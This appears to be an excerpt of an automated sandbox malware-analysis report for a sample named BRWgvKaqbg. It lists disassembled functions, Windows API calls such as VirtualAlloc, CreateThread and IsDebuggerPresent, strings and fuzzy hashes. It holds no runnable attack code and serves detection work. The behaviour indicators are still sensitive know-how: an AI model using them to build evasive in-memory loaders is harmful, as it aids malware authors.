Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: 0DB1D57664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA51CB94

Function 005928F0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 214
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00592BA0,00000000,00000000,00000000), ref: 00592B8F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,0000001F,?,?,?,?,?,?,?,?,00592C40), ref: 00592B98

Strings

Own head, xrefs: 00592A7D
C, xrefs: 00592925
Earth, xrefs: 00592AA3

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: CreateObjectSingleThreadWait
String ID: C$Earth$Own head
API String ID: 1891408510-3365287836
Opcode ID: 240ec9e9eba6fad6a957cbf1f1775a732bec354c0e742f5037bed160b028b907
Instruction ID: 26bfc4d915d69479a4bcacfd87c821b43dc3c0a85349eeb104ecd5dfc8f26616
Opcode Fuzzy Hash: 240ec9e9eba6fad6a957cbf1f1775a732bec354c0e742f5037bed160b028b907
Instruction Fuzzy Hash: D47186719043416BDB10DF349C89B1BBFD5FF94340F044A2DF49987182E764EA889B91

Function 005925D0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OffsetRect.USER32(00000000,00000000,00000000), ref: 005926F6
Polyline.GDI32(00000000,00000000,00000000), ref: 00592713

Strings

Zatlat, xrefs: 00592630
0, xrefs: 00592792

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: OffsetPolylineRect
String ID: 0$Zatlat
API String ID: 1418762327-1547964091
Opcode ID: 74966ae4a5724889fc4d195d72f4f4ebaed95bad0949b194652bacb124c1dce8
Instruction ID: 1fc0222001cdbce82eb5c9ca98a1fbc839f0c29121acebe2f91d3a4e7b3380c7
Opcode Fuzzy Hash: 74966ae4a5724889fc4d195d72f4f4ebaed95bad0949b194652bacb124c1dce8
Instruction Fuzzy Hash: EF81CB71109381ABD714EF28D85976ABFE0BFC5308F184A2CF4D887292C7B4D548DB92

Function 005844AB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0058B73A,?,00000000,?,?,0058B9DB,?,00000007,?,?,0058BED4,?,?), ref: 005844C1
GetLastError.KERNEL32(?,?,0058B73A,?,00000000,?,?,0058B9DB,?,00000007,?,?,0058BED4,?,?), ref: 005844CC

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d8c0136c06c6b97035bacfb37b20c33f7792676a23030b023721fcbffadd72fe
Instruction ID: f83ef395aec1e6018bdb782e82258a67e824cd0ef30ecd5625132ec33789adc0
Opcode Fuzzy Hash: d8c0136c06c6b97035bacfb37b20c33f7792676a23030b023721fcbffadd72fe
Instruction Fuzzy Hash: 6BE0E635500315E7DB223FA4EC0DB597F58BB50755F11C055FE08A6170DA349A54DF98

Function 00592BA0 Relevance: 1.3, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040), ref: 00592C30

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d3c1d3a2059b4d5a4ec58dadaf7aacdf826de0470e21190832276f4ffbf32f2e
Instruction ID: 7b48c8c1f36813fdc814a8fa0e4ad7c8269c211b145a4ab9ab0b06e6c1dafc87
Opcode Fuzzy Hash: d3c1d3a2059b4d5a4ec58dadaf7aacdf826de0470e21190832276f4ffbf32f2e
Instruction Fuzzy Hash: 1131D371E00209AADB00DF649C4ABEDBBB4BF5D340F144259F905B7282EB74AA909764

Non-executed Functions

Function 0058CEE5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0058D203,00000002,00000000,?,?,?,0058D203,?,00000000), ref: 0058CF7E
GetLocaleInfoW.KERNEL32(?,20001004,0058D203,00000002,00000000,?,?,?,0058D203,?,00000000), ref: 0058CFA7
GetACP.KERNEL32(?,?,0058D203,?,00000000), ref: 0058CFBC

Strings

OCP, xrefs: 0058CF39
ACP, xrefs: 0058CF03

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 40976f56770c99d52727209c973d80780bb2ad0aead68f4c70197dbd1be8b5f3
Instruction ID: a78acb843304a183c2f318cb6e92997a20f74fc8167138d8e6d3ed0c9013b609
Opcode Fuzzy Hash: 40976f56770c99d52727209c973d80780bb2ad0aead68f4c70197dbd1be8b5f3
Instruction Fuzzy Hash: F8219D32710101AAFB34AB64D905A97BFA7FF54F50B568465EE0AEB210E732DE40D370

Function 0058D0BA Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0058D1C6
IsValidCodePage.KERNEL32(00000000), ref: 0058D20F
IsValidLocale.KERNEL32(?,00000001), ref: 0058D21E
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0058D266
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0058D285

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: a4d028287c8a192f8b1597b05d6b75a6f6d0cef44fb5920ef543e8c3c14556c9
Instruction ID: 3a2029f07bdd2c45079cc9932654708cc710e080b8f27d16e434f036b8f96611
Opcode Fuzzy Hash: a4d028287c8a192f8b1597b05d6b75a6f6d0cef44fb5920ef543e8c3c14556c9
Instruction Fuzzy Hash: 0A516C71A0060AAFEB14FFA5DC49ABA7BF8BF58700F144469AD11F7190EB709A04CB70

Function 0058C756 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

GetACP.KERNEL32(?,?,?,?,?,?,00582857,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0058C817
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00582857,?,?,?,00000055,?,-00000050,?,?), ref: 0058C842
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0058C9A5

Strings

utf8, xrefs: 0058C914

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 35cb1014043ef3e2c94e88e40e780ecb3211dd80fa539e48ac8dc2a20301e2e8
Instruction ID: a107990f8b2aedc009cf5a703098f567afbe325bb621ec10ce62ccb3d27d9580
Opcode Fuzzy Hash: 35cb1014043ef3e2c94e88e40e780ecb3211dd80fa539e48ac8dc2a20301e2e8
Instruction Fuzzy Hash: 7C71B272600202AADB24BB75CC4AABA7FA8FF95700F14446AFD05F7181EB70E941CB70

Function 00579F26 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00579F32
IsDebuggerPresent.KERNEL32 ref: 00579FFE
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0057A017
UnhandledExceptionFilter.KERNEL32(?), ref: 0057A021

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 772ebd6b9f2bc50b6f08b47545290441a06a98c2b7d0c13eb1146c325dedc2ff
Instruction ID: 7e5c971199d360faad748f1d1e824ba49a7f4ce692a545c35afaf8a14dbd323b
Opcode Fuzzy Hash: 772ebd6b9f2bc50b6f08b47545290441a06a98c2b7d0c13eb1146c325dedc2ff
Instruction Fuzzy Hash: 54310675D05219DADF20DF64D94D7CDBBB8BF58300F1081AAE50CAB250E7719A889F45

Function 0057944C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0057900E,?,00000000,00000000,?,00578FCD,?,?,?,?,005770B3,?,?), ref: 00579484
GetSystemTimeAsFileTime.KERNEL32(?,31F253B6,?,?,0059108C,000000FF,?,0057900E,?,00000000,00000000,?,00578FCD,?,?), ref: 00579488

Strings

kW, xrefs: 0057947E

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID: kW
API String ID: 743729956-2537022119
Opcode ID: 7a0556c8090ee6b503ac3d8a0c6efb58ef09d56153ecb954d7a6f4ddb5c970e1
Instruction ID: 57d767908cbd8ecbb92628575f588c011c1595a046672a6e50f4298ad78213fa
Opcode Fuzzy Hash: 7a0556c8090ee6b503ac3d8a0c6efb58ef09d56153ecb954d7a6f4ddb5c970e1
Instruction Fuzzy Hash: 84F0E536908554EFCB018F54DC04F99BFB8F708B10F008127E81297790DB39A900DB94

Function 0058CB69 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0058CBBD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0058CC07
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0058CCCD

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: e929ece3ef95dbfe108ee191fb0adbbf960355ebc0698d27682c6a29e7472f49
Instruction ID: 54c0007ec43aa7d413b310e0deedc2226b899e13ac3f3eb1cfc11d86206f60b6
Opcode Fuzzy Hash: e929ece3ef95dbfe108ee191fb0adbbf960355ebc0698d27682c6a29e7472f49
Instruction Fuzzy Hash: DB619F71A112079FDB24BF24CD86BAA7FA8FF44300F144179ED1AEA281E734D945DB64

Function 0057DE43 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 0057DF3B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0057DF45
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000001), ref: 0057DF52

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d83f59af0c343061a20ad24d49b004856200dbb3350ad1d1155f6ff504b1e071
Instruction ID: a48f45cc73d608dcd13a09cdab83294ed5533ed1b30078204c9b1907d49ff309
Opcode Fuzzy Hash: d83f59af0c343061a20ad24d49b004856200dbb3350ad1d1155f6ff504b1e071
Instruction Fuzzy Hash: F131D474901219ABCB21DF24E88879DBBB8BF58310F5081DAE41CA7250E7309B859F55

Function 00584F6B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005833BD,?,20001004,00000000,00000002,?,?,005829BF), ref: 00584F9F

Strings

kW, xrefs: 00584F8A

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: InfoLocale
String ID: kW
API String ID: 2299586839-2537022119
Opcode ID: d969f9fca0583198b5a203421f34fb04427f0469c1d482c43ef3191cc610546e
Instruction ID: b83189dfc512f83a2831004e8c1480a37a8bf77714894ecf760df82f0d6e17b9
Opcode Fuzzy Hash: d969f9fca0583198b5a203421f34fb04427f0469c1d482c43ef3191cc610546e
Instruction Fuzzy Hash: 33E01A31504219BBCF127F60DC09A9E7F26BB54751F064016FD1566220DB318921ABA5

Function 00588D09 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00588D04,?,?,00000008,?,?,0058F3A3,00000000), ref: 00588F36

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7959fee99cd7142a6cc629f5aaa6a7a2f2fd0aa9f83b13e8af1837a12e4161bc
Instruction ID: 1fff1324b262a55ac660ce2b47383fafc76cd2a8e8c38bd292101db426c9cf37
Opcode Fuzzy Hash: 7959fee99cd7142a6cc629f5aaa6a7a2f2fd0aa9f83b13e8af1837a12e4161bc
Instruction Fuzzy Hash: 6DB16B31210609CFD728DF28C486B657FE1FF45364F698658E99ADF2A1CB35E982CB40

Function 00579C45 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00579C5B

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: faa802b0f1ed2e4740e114f8829e86ac175f0b5b9a79e215c716f7c5366d8292
Instruction ID: 341b9f78c4a756fc9498ccdc98dac5b04361d69763a69f285096b5660bb79956
Opcode Fuzzy Hash: faa802b0f1ed2e4740e114f8829e86ac175f0b5b9a79e215c716f7c5366d8292
Instruction Fuzzy Hash: A0517AB1A152058BEB24CF59E9857AABBF4FB48351F24C42AD44AEB350D378DE00DF64

Function 00589BD3 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7874575177e6c5e36852d8d60bfe58f0b816376e72539beca41bb3febd6b84d0
Instruction ID: 93b6b9a8fed17bfb0687e10b5225206ce02e59ea394ebdf48f2e8c430023bbb8
Opcode Fuzzy Hash: 7874575177e6c5e36852d8d60bfe58f0b816376e72539beca41bb3febd6b84d0
Instruction Fuzzy Hash: A041957580521DAEDF20EF69CC89ABABBB9FF85304F1441D9E85DE3201D6359E458F10

Function 0058CDBC Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0058CE10

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c312ac312f25f2460300fe58ab1ff796417cf4efd5523fde2b8cf60376e908bc
Instruction ID: a2a9b28db20aa4ec4f4648839e3576d1d0e6898869a77812d57e969460734610
Opcode Fuzzy Hash: c312ac312f25f2460300fe58ab1ff796417cf4efd5523fde2b8cf60376e908bc
Instruction Fuzzy Hash: BA21B032610207ABDB29BE25DC46ABA7FADFF85714B10407AFD01EA141EB35AD40CB64

Function 0058CA43 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

EnumSystemLocalesW.KERNEL32(0058CB69,00000001,00000000,?,-00000050,?,0058D19A,00000000,?,?,?,00000055,?), ref: 0058CAB5

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 804a9d69cbc632037f6455d8329239f44cf1c9f302caefe10312cdf9704c6973
Instruction ID: 58993a3e6dc743b631d61b1162fc5507082850d534fccaf3b42ee8492d80c4ee
Opcode Fuzzy Hash: 804a9d69cbc632037f6455d8329239f44cf1c9f302caefe10312cdf9704c6973
Instruction Fuzzy Hash: B21155362007098FDB18EF79D8919BABF92FF84318B04482DEE8697A40D731A802CB50

Function 0058CFEB Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0058CD85,00000000,00000000,?), ref: 0058D017

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 88f435574f5ae959369fc4b99a93651b9da7ebe268908a2db68fe2ab38b2c33e
Instruction ID: c7dee241ba39b69c3c6c95da898c743a4a42862ee0073fab0f7d6d1a974fc69f
Opcode Fuzzy Hash: 88f435574f5ae959369fc4b99a93651b9da7ebe268908a2db68fe2ab38b2c33e
Instruction Fuzzy Hash: BFF08B32540116EBDB286A64CC0DABA7FB4FB80754F1544259C05B3180FA74FD42C7A0

Function 0058C951 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 005841C0: GetLastError.KERNEL32(?,00000008,005847BF), ref: 005841C4
Part of subcall function 005841C0: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00584266

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0058C9A5

Strings

utf8, xrefs: 0058C914

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
